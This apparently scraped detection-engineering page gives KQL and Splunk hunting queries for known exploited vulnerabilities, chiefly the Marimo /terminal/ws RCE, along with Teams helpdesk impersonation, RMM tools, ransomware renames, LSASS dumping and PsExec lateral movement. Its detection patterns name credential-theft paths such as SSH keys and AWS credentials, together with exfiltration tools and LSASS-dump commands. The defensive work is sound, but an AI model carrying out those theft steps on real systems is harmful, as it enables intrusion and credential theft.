| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-244 use cases0 techniques3 kill-chain phases detected
Soliton Systems K.K FileZen contains an OS command injection vulnerability when an user logs-in to the affected product and sends a specially crafted HTTP request. Vendor: Soliton Systems K.K, Product: FileZen. Federal patch due: 2026-03-17.
CVEsCVE-2026-25108
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-25108")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-25108")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Microsoft Teams external-tenant chat from unverified IT-helpdesk impersonator
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code.
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Microsoft Teams external-tenant chat from unverified IT-helpdesk impersonatorDeliveryHigh
External Teams chat where displayName contains 'helpdesk' or 'IT support' — common 2024+ vishing pattern (Storm-1811, Black Basta, UNC6692). No CIM data model maps to Teams chats; uses raw O365 audit logs.
ATT&CKT1566.004T1566
Data sourcesCloudAppEvents
CloudAppEvents
| where Timestamp > ago(7d)
| where Application == "Microsoft Teams"
| where ActionType == "MessageSent"
| where RawEventData has "ExternalParticipants"
| extend SenderDisplayName = tostring(parse_json(RawEventData).SenderDisplayName)
| where SenderDisplayName matches regex @"(?i)(help.?desk|it.?support|service.?desk|tech.?support|admin)"
| project Timestamp, AccountDisplayName, IPAddress, ActivityType, SenderDisplayName, RawEventData
`o365_management_activity`
Workload=MicrosoftTeams Operation=MessageSent
ExternalParticipants=*
| where match(SenderDisplayName, "(?i)(help.?desk|it.?support|service.?desk|tech.?support|admin)")
| stats count, earliest(_time) as firstTime, latest(_time) as lastTime
by SenderUpn, SenderDisplayName, RecipientUpn, ChatId
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
2026-02-204 use cases1 technique3 kill-chain phases detected
RoundCube Webmail contains a deserialization of untrusted data vulnerability that allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php. Vendor: Roundcube, Product: Webmail. Federal patch due: 2026-03-13.
CVEsCVE-2025-49113
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-49113")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-49113")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-204 use cases0 techniques3 kill-chain phases detected
RoundCube Webmail contains a cross-site scripting vulnerability via the animate tag in an SVG document. Vendor: Roundcube, Product: Webmail. Federal patch due: 2026-03-13.
CVEsCVE-2025-68461
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-68461")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-68461")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code.
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking. → [LLM] PromptSpy Android RAT C2 / distribution-site network callouts
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Detects egress to PromptSpy's hard-coded VNC C2 (54.67.2.84) and the actor-controlled APK distribution and Chase-impersonation phishing domains used to deliver the malware to Argentinian targets. Catches infected BYOD/corp Android devices, Wi-Fi guests, or any host that resolves these atomic IOCs.
Rationale: 54.67.2.84, mgardownload.com and m-mgarg.com are atomic PromptSpy IOCs published in ESET's malware-ioc repo and corroborated by Bleeping Computer and The Hacker News write-ups, with no benign use case. VNC-over-AES on a single AWS VM IP makes this very high fidelity.
Cross-checked against:
